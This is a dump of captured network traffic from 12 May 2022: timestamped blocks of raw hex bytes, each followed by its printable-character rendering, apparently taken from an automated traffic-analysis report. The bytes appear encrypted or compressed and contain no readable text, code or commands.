                                                                                                                          2022-05-12 12:17:33 UTC356INData Raw: c9 6d 09 27 02 7a 97 fb cf d5 83 73 90 03 2f 2b 01 4a 75 06 64 45 26 c0 d1 cb 1a ee 82 0c c8 5c 9e 73 3b c5 c3 80 7b 1f fc b6 8b f2 6b 26 3c 45 55 75 71 f1 2a 06 72 5e fa 33 4d ad 84 6b ce 12 53 fd d4 67 a7 e9 8d 03 9b ac 80 16 9f 3f 33 77 ba 72 08 22 d1 4b d9 e9 bd 3f 7b 1f 1e c1 a2 ae 64 98 3c 0a ab f3 f5 b8 85 ea 67 8c 47 04 98 07 96 2b 73 30 49 e3 d5 19 a1 00 61 33 dc 3d 15 48 9a 32 39 a7 06 14 52 f6 20 44 16 3d 6c f7 8b f1 7c a4 a6 8d 8a d0 cf 50 65 06 08 d0 85 6f 3f 12 b4 47 e8 91 9d 35 98 72 e6 a4 69 5f 25 e3 9d 69 d1 2e 45 7d 62 44 2c 85 f0 2e ed 95 57 6b 45 c7 5f 9a 35 bc 15 1c 67 b6 11 3e a7 59 74 23 a9 2a 3d b9 aa 9f cf 4b 05 5f ce 3d f5 64 78 96 be 35 ce de 1c 59 1f fd 19 32 04 3f b3 44 67 10 f5 37 a5 94 eb 64 b3 ea df bc 5c 1e 88 46 1a 61 17
                                                                                                                          Data Ascii: m'zs/+JudE&\s;{k&<EUuq*r^3MkSg?3wr"K?{d<gG+s0Ia3=H29R D=l|Peo?G5ri_%i.E}bD,.WkE_5g>Yt#*=K_=dx5Y2?Dg7d\Fa
                                                                                                                          2022-05-12 12:17:33 UTC364INData Raw: 6b ff d9 05 cd 98 63 87 ce 33 bf 11 e7 d1 a9 89 dd 3b 93 54 73 3f e4 18 e0 60 e3 e7 b2 ea 15 b5 63 82 92 1a 72 12 03 ec 8e e2 98 a2 36 19 30 26 c8 fe 01 6e fa 5f 4e 0c d8 b2 d0 15 42 ed 07 5c 1c 90 0e ae 21 e4 96 79 2c 4e 8d 1e a7 11 20 bd f2 e2 66 ec a2 b3 0e 03 b9 87 20 fa 9e d2 f6 3d dd ad 82 82 ca f1 a0 db 13 3b 6c db db 7d 26 cd 18 da 73 7f c2 65 8e b0 bd fd 0d e1 6b 96 9c b0 91 0f fb c1 17 8a e4 66 76 be cc ea 84 f9 b6 65 e9 f7 5e 3c 21 60 e3 05 eb 4d ac 6e 8a db 71 12 41 6b 71 92 84 95 51 bb a8 28 99 33 fe e5 6d c5 82 15 c3 c5 09 ee b8 b5 97 e4 67 d5 df 74 30 7d 72 b1 58 17 e8 21 6e e9 84 f6 82 df cf 7f 69 f3 55 d5 59 8d ad 65 7c 1c e0 3e c2 27 2e 99 c4 1f ad 96 40 c6 9d 9b f1 c1 09 03 b4 83 dc 3a 72 fa ab 7d 80 b2 06 f8 87 25 91 82 c6 f9 a7 b8 5c
                                                                                                                          Data Ascii: kc3;Ts?`cr60&n_NB\!y,N f =;l}&sekfve^<!`MnqAkqQ(3mgt0}rX!niUYe|>'.@:r}%\
                                                                                                                          2022-05-12 12:17:33 UTC372INData Raw: 39 63 c4 f1 41 8e 44 79 a9 30 f0 02 05 55 2b 5c f7 14 f2 d3 00 81 84 46 78 0e 25 60 21 21 f0 3b 9b f4 8a a5 73 d6 2e 82 b5 94 55 08 ff 99 a0 62 28 10 a0 0c 60 f3 35 63 83 f5 39 9c b9 46 da 95 06 95 e7 21 d8 8a 1c 53 52 b9 c8 2f ef 04 fc 0d 31 73 e9 04 92 8b 43 39 a4 5b c6 ee c9 40 e9 11 bf cf ff 7d 33 4f 15 92 e8 3d b6 6b ff 1e e9 bf 22 0d 4c b9 a4 6e 6e f2 71 52 b1 37 23 68 31 68 76 0c 05 78 c7 58 1c 7c 79 7f 18 36 74 d8 4f 52 ed 33 0c 87 13 1f 8f 26 05 7b b5 82 31 3e e3 bf 41 ec 36 de 1c 71 03 4f 2f 20 d2 5b 67 bf 70 1b a0 55 a0 25 21 89 82 ac 37 f6 fe 54 d9 d5 c8 17 6b 1b 60 cc 4e 49 c4 e7 aa 59 42 d1 cf af d9 1b 33 3a bd 91 1c 66 81 f0 c1 82 ee e1 12 93 92 86 52 d5 d0 92 32 c5 41 65 8f 07 03 15 57 6a a8 db 5d 76 50 fe 15 91 2d 42 4a 29 78 ae cf 6d 45
                                                                                                                          Data Ascii: 9cADy0U+\Fx%`!!;s.Ub(`5c9F!SR/1sC9[@}3O=k"LnnqR7#h1hvxX|y6tOR3&{1>A6qO/ [gpU%!7Tk`NIYB3:fR2AeWj]vP-BJ)xmE
                                                                                                                          2022-05-12 12:17:33 UTC380INData Raw: 98 cb ff de 66 4a 71 2c 9e 17 88 36 4e 8b 79 e7 33 82 e8 47 65 6a 7f f3 a5 51 bb 04 01 76 c8 9d 6c e4 7f 8b 5d eb 2d 01 42 4b 84 38 08 b9 65 52 63 23 32 be 84 00 ec e2 9e 27 53 52 c8 e8 6f 7f 98 cd 6c de 88 0f 8d 03 59 98 f1 e0 be 33 ba af 2b d9 7a 17 2a 30 ea d4 eb d9 b8 87 4e 03 20 5c 79 dd 18 2d 3d fd d7 97 b9 a9 ea 08 1b 97 29 d2 83 ad 5d 99 00 34 7d bb c9 91 3e 34 30 b3 14 36 33 20 0a d4 fc c1 ab 3d 65 86 d0 30 bc 12 cd d1 d2 d4 64 67 bd f4 7e ec 43 8b 43 a5 1c fb 78 8a 54 45 9c 98 05 47 6c 9f 8f f1 64 75 f0 88 91 bb dc 69 70 40 62 5f 51 cd 48 54 a0 b2 ed 87 f2 bc 99 93 f2 eb cb 25 3c 1d a9 24 ba 06 fb a4 f8 b2 3f 7c 65 db 3e 95 f7 ac a1 b0 20 98 9d 2c 77 2d 57 8c ed 00 03 88 93 5d 83 4c f8 00 9d 3e 2a b1 5e 8c 5b 39 f4 3d d3 91 94 59 39 ba 6e 35 57
                                                                                                                          Data Ascii: fJq,6Ny3GejQvl]-BK8eRc#2'SRolY3+z*0N \y-=)]4}>4063 =e0dg~CCxTEGlduip@b_QHT%<$?|e> ,w-W]L>*^[9=Y9n5W
                                                                                                                          2022-05-12 12:17:33 UTC396INData Raw: 5d 3c 25 37 1a 1c 63 db 5d af c7 b7 02 72 25 d5 43 76 a9 d6 3d 85 e7 24 31 71 a6 59 eb bf af b2 a8 51 7d 38 a5 07 c8 27 ec 1a c0 d7 75 7b 67 52 62 6b 97 c8 3a b7 19 1f a8 76 ab 91 fa 1d b3 8d b2 07 48 d0 22 25 4c 08 41 ca 47 47 8d 2c d5 80 50 1f 9c 94 53 d6 06 e7 0f e8 52 6e 4e aa 44 d4 b0 8f 89 a5 e1 6a 1c 1a a8 95 e7 4b 94 f8 7a 39 97 f7 46 d1 37 8b 1e fe aa 14 08 07 74 ee bc e9 7c e4 2e 39 b4 6d 72 a0 57 c5 a8 8f 6d f6 c0 9d 05 45 5e 9f 47 e6 d1 20 ca 35 99 ce d7 16 47 b8 1c 9f eb 97 c2 5e 8c 2d 82 33 16 b4 05 94 a2 b1 83 90 48 c4 ea a2 7c e2 bd d4 5c 9f 11 97 7a 23 e3 08 8d 48 69 3a 96 8b 06 ab 7e d4 6e 8c 94 ff 56 0c 86 7d 7c 95 f6 ee f6 ba f6 5f 58 f6 2f 0f a2 fc 0a 31 7c d5 c1 e3 36 bf fb 4f 30 89 1f 3c 16 5a d4 54 ec 1e b8 b5 76 9e e7 6b 47 7d d6
                                                                                                                          Data Ascii: ]<%7c]r%Cv=$1qYQ}8'u{gRbk:vH"%LAGG,PSRnNDjKz9F7t|.9mrWmE^G 5G^-3H|\z#Hi:~nV}|_X/1|6O0<ZTvkG}
                                                                                                                          2022-05-12 12:17:33 UTC412INData Raw: 86 a6 6f 16 ac 7e 89 37 e7 42 57 6a 23 5e 12 7a 92 07 6b de 97 d3 66 04 2f 92 22 32 37 45 e4 81 0a 1e 89 c6 99 41 ac 4c 64 c7 a2 75 dd 88 86 4c e0 08 b4 25 c7 d2 55 fd 5a 04 33 5d 63 a1 9d 70 a1 ae fd 90 6a 8e 77 1e 9a 95 c3 4b eb 3b f1 b4 4e d0 50 1f 7c a8 3a 83 a7 d6 89 69 97 07 c2 9f 71 64 cb 19 2c 33 6a 77 f3 a1 20 0a 51 b9 74 bb 76 17 74 68 1c ec 9f dd 2f 52 65 51 99 7d 8d f0 a1 c9 fe 06 81 34 10 b0 74 0b 1b af 5b 33 2a 0a 0b 8c f1 ef 36 51 45 e2 10 07 d6 35 6f 15 ec a2 19 e5 91 7a 4e c2 09 66 a1 ab d1 7b e5 dd 73 b9 87 ee 47 ed 34 8d c2 d4 2d 80 78 64 0e cb 87 1f 56 e8 f2 20 17 ea 4a 57 85 a0 c2 64 68 db cf 2b f4 59 eb 43 1a c3 e8 35 14 8a 1f 0e 1d fc 75 8a 4b 83 28 6b 12 55 c8 de 2f 20 86 5a 49 8a 4f a1 2b 0b 7e cd d4 8d f1 7d fc b6 30 82 87 24 44
                                                                                                                          Data Ascii: o~7BWj#^zkf/"27EALduL%UZ3]cpjwK;NP|:iqd,3jw Qtvth/ReQ}4t[3*6QE5ozNf{sG4-xdV JWdh+YC5uK(kU/ ZIO+~}0$D
                                                                                                                          2022-05-12 12:17:33 UTC428INData Raw: 8b c6 e4 02 58 87 ae a0 3a 0b d8 6e 6e a5 37 c8 13 95 e6 99 54 8e 75 ec 9c 85 9f 08 36 c5 32 5a f8 68 cd 2f 8e fb 9e c8 06 5b 6b 32 4b 7e 46 44 08 49 f7 10 c3 c2 6e 04 7e af a8 94 84 61 62 29 26 ca 08 0a 93 30 21 45 5b bf 0a ff 2f ea e1 90 17 97 9a 6c 35 30 61 31 99 b5 76 bf d0 ea 87 28 51 ed 12 8d ce 8a b5 ab 26 33 d7 6e 18 92 5e 0e a1 fe 22 60 06 33 73 4f 55 e9 76 bd 8b fc 8c 68 29 ca 06 da c3 b9 54 ce be 3f 95 67 d0 c3 77 49 a6 e1 5a cd 5f f6 93 a0 e2 24 4f 1a 8d 81 d0 46 e9 c3 42 db 92 74 fa 89 f7 d9 6a d6 6c 96 c5 e3 02 e2 af fd 13 c2 5d 76 65 ce 36 8d 01 12 52 96 de ea 91 b5 76 74 c5 b8 0c ec a2 c9 c2 d7 6b 32 67 10 36 e6 7b 30 2f 11 3b 46 8c 58 0e b5 dd 02 67 21 c9 6c 13 4a e8 3d 48 c1 04 93 da 6a 63 37 b7 8a c7 75 d1 9b c3 73 80 e4 8b 5e f3 9a 9e
                                                                                                                          Data Ascii: X:nn7Tu62Zh/[k2K~FDIn~ab)&0!E[/l50a1v(Q&3n^"`3sOUvh)T?gwIZ_$OFBtjl]ve6Rvtk2g6{0/;FXg!lJ=Hjc7us^
                                                                                                                          2022-05-12 12:17:33 UTC444INData Raw: 2d 28 64 dd cd ca 14 43 76 83 db 4f 49 da ce 61 6f f3 c6 4f 8b 1c 74 f0 f7 3b 59 66 dc 2a be 2d b2 8e c2 c7 7b e9 5f bf e4 2b 69 30 b9 77 7f fd 5a be f3 9d 44 ee d6 f6 90 95 9d db d9 74 04 11 2a ea 8d 28 be 1c c0 41 d0 ac cc 6e 42 f5 da bd eb d6 26 84 2e d4 79 01 df aa 65 56 43 5f ba 74 94 41 4c 9d 5b ed 12 db 53 03 ca 1c 1c 95 7a 77 cf 72 6d 14 ba 14 73 a4 dd f4 db d1 02 75 0a 3a 5f 22 2c 8d d8 e8 f0 27 c1 5c f1 d3 51 22 64 81 04 a4 c4 af 82 c7 f6 18 5b 07 fd 69 c5 d6 99 80 f7 02 7a 5e 03 02 73 a8 87 fc 25 72 20 9c ae e3 c8 86 64 ce ed 09 45 69 16 6b d2 4b 37 94 5c 5f 6b 10 9c 73 2e 90 67 b6 db 1a d0 8e 32 2a d8 c2 5a 82 e7 d2 8d 52 70 b7 5d a0 8f 31 dd 59 70 8d d4 9f 13 a1 f8 e6 48 a5 02 39 ae b4 71 72 5f 73 89 ae 26 79 48 fe 31 4f d0 ba da c5 21 33 7c
                                                                                                                          Data Ascii: -(dCvOIaoOt;Yf*-{_+i0wZDt*(AnB&.yeVC_tAL[Szwrmsu:_",'\Q"d[iz^s%r dEikK7\_ks.g2*ZRp]1YpH9qr_s&yH1O!3|
                                                                                                                          2022-05-12 12:17:33 UTC460INData Raw: ec 14 75 6c 03 ce 3b f9 96 f4 2c 13 28 17 a4 ea 4c 85 1c 30 ce 02 e5 a0 8c 77 13 a1 86 57 ce c0 c5 8b 50 57 1f f5 14 ae e4 2e e1 01 53 1a 72 6f b0 20 f1 1e 14 1d b2 39 c5 cf 97 7e 64 44 3c e8 b9 36 5a a0 cd 3d c9 6b c0 08 9b 16 83 f7 7a 54 ec ee 8f 99 ad 3b 78 29 d9 d7 2e 5e 73 d6 76 bb 3b 42 b4 dc 65 3e e5 cc 85 de 9f be ff c3 ff 1d ef bc c0 93 54 13 9a 9f 24 2c 7d 64 b1 40 0b e8 20 64 da 84 1e 4c 6c 4f 08 08 38 99 25 99 78 d5 81 23 e3 1e 41 3e b4 08 dc 50 a8 23 81 81 4d 70 10 3f 87 a5 82 09 f3 69 d3 a7 39 02 7c 7f 57 6d 99 85 50 80 88 4c 6c 58 cd ec 5e ac 07 c7 27 53 e7 f0 19 a5 e7 d0 2c 6b 40 b3 0a 8e 18 1e 3e 6e a7 f1 7d 28 ef 94 8b 1c 7e 57 cd 05 6e 57 f8 9f ed f4 f7 8a 1d 7f d1 a7 8d f2 ed 83 8c 2e 63 b0 07 8e ec 48 6b b2 b5 06 2e a3 39 a2 a2 74 78
                                                                                                                          Data Ascii: ul;,(L0wWPW.Sro 9~dD<6Z=kzT;x).^sv;Be>T$,}d@ dLlO8%x#A>P#Mp?i9|WmPLlX^'S,k@>n}(~WnW.cHk.9tx
                                                                                                                          2022-05-12 12:17:33 UTC476INData Raw: 17 81 82 24 06 1c f7 43 64 21 ea 86 58 1c ae c1 32 aa 72 b7 1b a0 02 05 89 4b 11 13 95 90 dc d5 9e a3 a6 ae db 5a ff 6f 1e 26 ac ca a9 5d 1c 4b 04 57 f4 49 04 78 24 b9 fc 9b 3b ee 38 83 92 71 8a 9a 35 13 76 5c bb f9 0e 12 68 16 06 fb bc 20 4f 6b 65 4e 8c 17 2e f0 2e 4f 00 17 90 34 a4 16 da 2d fe 98 0e 11 6a 8a 10 63 bb 56 ea 56 c1 69 d7 51 b1 07 e5 5a 4d 12 e1 8a 85 49 2e 0d 28 bf 6b b7 81 c5 3b 78 a1 c9 6d 07 28 86 d2 33 f2 79 cb 7c 80 6c 87 38 63 db 7a 88 73 74 31 98 4f cf bf 9b 4a d6 eb 43 ba 1e 13 3e 91 4e 07 0f f5 05 57 24 e5 59 3b 31 ce 18 6f 08 2f b1 c2 f5 a2 59 3b 5f 50 46 7a c9 d4 06 45 e9 90 33 eb 0e a5 cf 40 1d 4d 9e 66 ee 70 3d 8e a8 2a 41 39 4a 18 4d be 3c ae 6c c1 a2 51 28 1b fb 08 bb a9 b8 ef 5c 61 6b fe c6 26 98 09 23 9f 2c 31 c2 9f 44 9e
                                                                                                                          Data Ascii: $Cd!X2rKZo&]KWIx$;8q5v\h OkeN..O4-jcVViQZMI.(k;xm(3y|l8czst1OJC>NW$Y;1o/Y;_PFzE3@Mfp=*A9JM<lQ(\ak&#,1D
                                                                                                                          2022-05-12 12:17:33 UTC492INData Raw: 6b 8a 4d 3d 22 c6 76 09 89 51 42 50 57 1f f6 54 9e 49 db 88 3c 5a 6f 70 6f 47 2c 3f 34 ff ab 65 c6 96 9c c4 1d aa 47 b9 21 01 b5 2c cc c5 10 9b 0a 5c 77 10 53 1c f8 ff 91 4a bf 43 2c 4e 6f d6 35 a4 16 8d dd 52 0f 53 59 b9 a3 45 fe d6 7e 32 42 f1 a5 03 41 1c c5 f4 14 c7 81 96 e2 e0 99 36 b7 87 a7 44 80 01 72 8d 55 26 71 e2 77 cf a4 87 c4 37 67 42 2d 54 56 fe f4 ca 23 1f 64 fe 3c 98 b0 1a 89 ab dc 45 54 bb 63 9b 0f 87 31 a6 09 c6 e5 db 8e d7 2f af 7f 5f 6b 86 f3 27 19 0e 76 73 e6 cb bc 36 b6 3e b0 cf 89 1f 3c 6d de 43 aa ef 9b ae 46 72 14 e1 69 c6 56 2a fa 4c 12 1b 16 78 1c 8c 65 8b c1 f5 93 73 27 47 7c f2 34 a7 88 a5 61 d0 75 e7 d1 5e bb 23 8c 00 88 04 3c e2 7e b0 a4 ed a3 23 aa ea 13 04 be 6c 9e d3 43 d8 9a 69 c3 62 57 74 32 18 53 10 b9 e8 07 1b ec ae 89
                                                                                                                          Data Ascii: kM="vQBPWTI<ZopoG,?4eG!,\wSJC,No5RSYE~2BA6DrU&qw7gB-TV#d<ETc1/_k'vs6><mCFriV*Lxes'G|4au^#<~#lCibWt2S
                                                                                                                          2022-05-12 12:17:33 UTC508INData Raw: e8 fd 5c 9e 99 4a 5e db 5b 7e 5e 3f d8 15 e7 c4 24 78 26 6f 78 20 18 f0 44 88 2f 69 7c 46 6c 65 67 ea ce 4f 18 40 0b d4 79 e9 46 32 9a 30 a7 23 8f db ca 7f 53 da 6d b3 82 3e 13 64 c5 73 aa e7 0e 78 b0 fe d3 9e 1e 54 e7 a9 d1 8b 8c 7c 70 61 f8 2f 67 7f f2 f9 7e 2d 57 5c f6 bf eb bd 65 9c 09 21 41 6a 26 9b fa 9c f9 63 3c 47 ec 45 81 68 d2 26 db bc e5 dc 92 0d 0c 5c 03 f8 e6 1a a5 6a a1 ea c3 06 64 ce 2a 45 fc 06 93 a2 25 d2 b4 ae b9 8e bf 8e 8e 24 ce 4d 14 25 31 e5 2f f6 cd cc ab d9 0c 68 5f cd fa d2 0f b0 ae 68 f6 a3 10 d4 06 46 80 d3 c5 62 f8 eb 4e b2 69 33 1e 42 53 b3 3b 34 11 d5 bb 3c 97 be e2 03 91 e1 76 c1 5d 6a 1d 12 78 2e 53 1e 21 ed d5 8c f6 52 45 57 ce 00 2e d6 6d e9 23 60 ee a5 c2 f4 e4 e8 40 be 8f 0c be a9 ea ea ad 0e 5a a3 9a 65 9d 60 d8 94 a7
                                                                                                                          Data Ascii: \J^[~^?$x&ox D/i|FlegO@yF20#Sm>dsxT|pa/g~-W\e!Aj&c<GEh&\jd*E%$M%1/h_hFbNi3BS;4<v]jx.S!REW.m#`@Ze`
                                                                                                                          2022-05-12 12:17:33 UTC524INData Raw: 72 a4 e1 cb ee 5c 00 d4 e9 95 83 74 86 d3 e7 c0 f4 6d bc c9 b5 cc 33 2d ea 1c 9a 3e 93 93 c8 73 5d 2b 90 16 ee 13 b0 2d d2 30 24 ab 29 d3 de 06 e8 a0 b8 9d 68 00 d7 6b ef 59 5d c9 e1 f4 ed b7 39 d1 4b 50 d0 b5 1b ed ad 7e d2 a4 39 97 76 af f6 63 c0 89 58 77 e1 c7 93 9a f4 0e d7 59 af e5 ed 57 f8 cc e3 94 32 b6 1c 32 f4 ca 95 57 81 57 02 88 c6 b9 04 f2 d3 f6 1b 52 97 f2 43 55 7a 0b 7c bd 2f b4 f6 1a 11 ba 0c 5c 46 2a 1f 36 1b 93 0e 87 a1 3d 6c 91 3e 87 99 21 da cc fc 5d 66 06 3e ee da f9 01 3c 19 ea c7 08 39 11 31 4e f1 15 92 60 b8 7f 9b 0a 99 cf 5a ea 95 79 cc 82 3e e4 9f f1 38 f3 50 39 03 3f fc b0 fd 0b 36 fc ff ec ff 81 e5 99 76 a2 ae 79 07 0e 5d f7 d5 56 37 94 a8 86 56 b1 a0 e4 24 7e e7 80 3a 7f ce 4d f3 e9 97 35 9a cc 47 53 dd 7d 76 57 9e ad c1 cf 24
                                                                                                                          Data Ascii: r\tm3->s]+-0$)hkY]9KP~9vcXwYW22WWRCUz|/\F*6=l>!]f><91N`Zy>8P9?6vy]V7V$~:M5GS}vW$
                                                                                                                          2022-05-12 12:17:33 UTC540INData Raw: 1c 28 36 2a 82 b0 d6 b6 f2 6e e5 14 55 f6 e3 e2 0d 13 fe 20 12 5a 60 1c 60 ec 42 73 8d cd 73 c2 2e f6 72 26 ee 29 22 13 f2 97 05 b8 f0 f4 6e c2 68 a3 2b 43 8b 8c f1 37 49 ae ee a8 cf e8 6b e3 54 c0 11 b1 46 a9 38 1e 49 53 d8 7a de 53 5c b3 a0 93 63 6c af 08 02 45 46 42 16 a1 24 88 c8 11 61 35 c8 83 29 18 2c 0b 43 25 61 fa 57 66 a8 66 42 b3 0b 91 c4 9d 51 40 30 69 9e a4 44 b7 6d 0d 90 bd b7 8b 93 95 85 d5 25 ba ce aa 64 ad f9 4d 9d 5f 58 48 df 0f 81 4e 10 0a 2e 65 db 33 9f a0 fc fc bb 68 b5 61 0b 8b 5b 19 f5 02 5e 2e ab cd 6c 72 fd ca ba db c5 9b dd 08 bd 4b f5 e8 18 89 9d 2a 98 b9 b3 83 5a c3 08 f5 b8 75 f2 a1 7b 7b ea 5d c6 24 b8 f8 7a ce 5c 56 c7 f4 9f ac 88 54 8e b1 cd fa 6e 6a 48 59 97 ad 60 63 49 0d a7 f3 42 67 72 22 5b ad 70 06 e5 0f 3f 49 9b 75 b4
                                                                                                                          Data Ascii: (6*nU Z``Bss.r&)"nh+C7IkTF8ISzS\clEFB$a5),C%aWffBQ@0iDm%dM_XHN.e3ha[^.lrK*Zu{{]$z\VTnjHY`cIBgr"[p?Iu
                                                                                                                          2022-05-12 12:17:33 UTC556INData Raw: a5 95 58 3c af 2f 53 08 da a2 56 03 0b b1 e8 d1 64 49 9b fd c0 0f 58 76 57 f6 8d 0d b2 99 f9 7a 8b 65 52 fa ba 41 d0 4e 8b 31 ea 12 33 58 c6 7f cf ba a0 83 92 4c 83 b9 45 54 5f a2 1a f2 03 f2 2a e7 82 71 58 4d 26 50 90 9f 23 4c ba 3f 23 58 72 ab 4f 2f d0 2e a0 2f 85 1b 80 bf 92 d5 f3 79 82 ae 80 51 12 fb de 65 88 94 ef 0d 89 a7 79 08 45 79 6b 0d ac 83 1d 65 b2 24 d2 f0 f8 41 8f c6 ed ec 1c 51 32 2a 5d e8 56 08 90 34 f9 8a fb 6c 8f 02 23 7c 84 08 80 3f 6b 8c 6f b8 0a 1d 82 25 7f 5a 9e 92 8e 61 94 cc bd 0b 68 8e 8a a5 3c 69 3b f9 98 30 6d ce 2e c7 42 12 34 07 84 41 8c d7 9e 1f e4 86 61 08 ec 8a da 62 39 5e f9 bb b6 7a bf 55 b3 b9 c8 35 39 bc e9 76 34 9a cc 9a 9b 97 f6 22 9e f8 ce 98 c9 e9 52 68 7a fe 46 98 4a 87 28 40 ba a2 6a 82 1a cf 35 8e 86 a3 86 f5 fe
                                                                                                                          Data Ascii: X</SVdIXvWzeRAN13XLET_*qXM&P#L?#XrO/./yQeyEyke$AQ2*]V4l#|?ko%Zah<i;0m.B4Aab9^zU59v4"RhzFJ(@j5
                                                                                                                          2022-05-12 12:17:33 UTC572INData Raw: a3 f0 da 1d ef 6e 12 0e fd f2 1b 82 a4 9d 40 8c 36 49 13 c4 67 76 c9 f0 78 d0 1e ca e1 4b 0f 38 9b 88 db e6 ae 45 d4 3b 3d 47 97 a2 eb 3e 5c 47 f0 ce d5 e0 5a ac df d5 c1 61 12 65 b7 80 67 39 73 7a 9a 6d 24 2c 5c bd 81 fd 8f 13 f3 24 18 99 24 15 c2 4a 73 8d 88 45 a6 4b b3 26 b3 21 9b 18 01 03 9d b4 08 1e 1d 0b 73 5b f3 01 19 7c df 13 fd b7 d1 41 95 ed cf cd 0e 8d 0f 3b 6f 8a 0f 71 cd d4 3b 5d 56 e0 33 9c b1 0c db 45 7b 42 71 f6 d6 bc c3 b9 9b ae d8 ad a7 e6 59 40 b2 36 cb 00 27 1a 08 26 12 3e 50 dc 55 d6 17 13 eb bb 84 06 97 e0 7f 3b ad f1 3c 90 22 d5 c4 cc f5 e7 3d ea d6 2f 7f c9 1e 6e e4 45 b9 4a 26 32 0c 5b b9 df a6 bb 17 a6 7d 4a 4e bb d2 72 db c6 81 95 0c 7f 9d f1 ec f3 fc 78 9f be 33 f9 53 11 5f dc 7f 20 d2 61 11 1b e4 70 35 25 77 dc 33 ad 80 aa c3
                                                                                                                          Data Ascii: n@6IgvxK8E;=G>\GZaeg9szm$,\$$JsEK&!s[|A;oq;]V3E{BqY@6'&>PU;<"=/nEJ&2[}JNrx3S_ ap5%w3
                                                                                                                          2022-05-12 12:17:33 UTC588INData Raw: ab ea 6d 56 cc fb ed 91 a3 60 b8 7b 0e 49 ca 18 13 3c ba 7d 47 b8 b4 e3 e4 7c c7 71 8c 57 09 1e 32 a0 09 e8 29 97 a7 a5 1e 38 6c bd 7f e2 bd 2d 50 e4 f9 85 8d ae 1c 94 3e 49 69 4f 1c 66 6b 85 7e a1 c6 fd 9b 7a 8f 78 86 0f f7 f4 d2 8a fa c1 7d 0b 7c 9b 79 fd 24 bc 09 44 7c 22 cd c1 de bd 0f c9 cf a2 9a 90 19 d2 05 55 ec 6b 51 48 77 b3 e7 94 c1 6b d5 d4 0a 97 6c 88 87 97 09 f4 ff c5 33 94 73 16 b8 16 1b 2c 58 01 5a 84 9d 79 b8 f7 05 56 ea d5 03 71 25 5d 69 3b a4 21 ed 40 c6 da 29 fb fb 83 e7 01 85 c8 ad 92 e8 47 9d c0 8b 20 6a 34 23 11 03 4e 4c 6f 61 76 d4 28 b1 5f ca eb 31 0b 76 5b 9a cc c7 22 1c 61 77 38 14 07 9c 67 af 52 ed c0 8b 5b 13 32 8f c0 92 a0 b5 82 31 c1 31 a2 49 ab b5 f5 f5 99 03 4f 2f d7 55 ef 65 92 70 e4 6f 48 a0 75 c9 a6 7d 26 c8 82 a7 e8 5e
                                                                                                                          Data Ascii: mV`{I<}G|qW2)8l-P>IiOfk~zx}|y$D|"UkQHwkl3s,XZyVq%]i;!@)G j4#NLoav(_1v["aw8gR[211IO/UepoHu}&^
                                                                                                                          2022-05-12 12:17:33 UTC604INData Raw: 7c 80 5b 33 c2 d2 8b c4 96 21 7a 23 65 6f 44 73 85 fb a8 c1 28 ae 32 f9 d2 1b 4d 48 e1 62 ab cb b6 b7 a1 9c 67 3c 47 f3 01 ff b9 b6 e6 f8 7d 4d 4a 23 0d 0d d3 f7 71 e3 95 65 9c ac 6a 77 06 18 a9 a8 43 33 ce 93 a2 2e 73 f9 45 99 b1 6e 95 da 60 4a 1d f9 b2 db 1a 70 1a 78 45 d8 35 55 ed 05 a5 3b 5d 08 b4 ae af 48 19 88 d4 0e a9 59 e0 f7 8c c8 03 c2 40 1d 4d 4e 58 f5 b3 bd 75 fd a1 71 08 84 e9 be 8c d4 39 f4 a6 e7 da 70 17 78 2e 4f 97 76 ed db 63 e0 38 45 6c dd 57 71 59 28 31 45 08 54 15 b2 f1 e4 e8 b0 42 db 0c af 26 3a 61 77 2c 9a 71 f6 42 16 3d 0c 77 97 aa 6e a0 25 49 ba 38 35 7d 73 02 08 d0 b8 14 10 1a 2c c4 3c 93 c9 5d b7 72 a0 48 d4 3f 44 8b 5b ad c5 75 1b 20 3d ec 32 dc 2a a9 d0 21 ff 45 00 c7 13 15 c4 c9 88 9c 79 bf 0a 3a 24 a1 e5 3f e3 af d7 c9 ad 14
                                                                                                                          Data Ascii: |[3!z#eoDs(2MHbg<G}MJ#qejwC3.sEn`JpxE5U;]HY@MNXuq9px.Ovc8ElWqY(1ETB&:aw,qB=wn%I85}s,<]rH?D[u =2*!Ey:$?
                                                                                                                          2022-05-12 12:17:33 UTC620INData Raw: e8 e8 ad f7 51 ac 8f 33 e0 7d 1d 09 9c 29 0d 7a 97 12 f3 f3 54 d2 d0 f6 d0 6b 2d f9 a8 8d 0c c2 5e 35 f6 38 5a d8 df b3 ad 4a 69 c6 9c 9b ce 50 52 8d c2 e2 7e f2 2e f1 f0 39 b6 7c ee 79 11 c4 6e 03 8e 73 f1 2d da df 4a 36 0d cf d0 9a d6 f8 6d 0f ea 57 98 fe c0 d1 2e a1 5c c1 11 d5 ff e8 a4 66 56 8f b7 3a 50 5d 31 78 29 73 60 b8 9f f9 fe 51 c8 c9 a7 b3 c8 6e 2d 3b 83 ea f8 03 bd c6 a3 60 84 e4 a3 5a 77 3b 31 69 25 fb eb e7 f8 61 f7 a4 2d fe 0c 01 f4 e3 58 8f eb 23 79 03 62 a9 b0 69 c9 17 b5 13 e8 ba 3a 7c d5 76 35 9a ea 21 27 14 b6 f2 d2 5e d7 0b 74 9c ef ed ba 8b c3 f5 00 87 12 45 1d 19 44 2b 1c 2d 77 49 86 b5 30 12 41 04 f0 57 4d 48 a8 0d b3 47 2d 6f 3f a0 4d 21 a3 7a ec 84 32 60 e4 03 75 8d aa 6b 1a e0 89 8a 54 c3 58 34 7b dd b4 05 ea 15 59 d8 5c 36 be
                                                                                                                          Data Ascii: Q3})zTk-^58ZJiPR~.9|yns-J6mW.\fV:P]1x)s`Qn-;`Zw;1i%a-X#ybi:|v5!'^tED+-wI0AWMHG-o?M!z2`ukTX4{Y\6
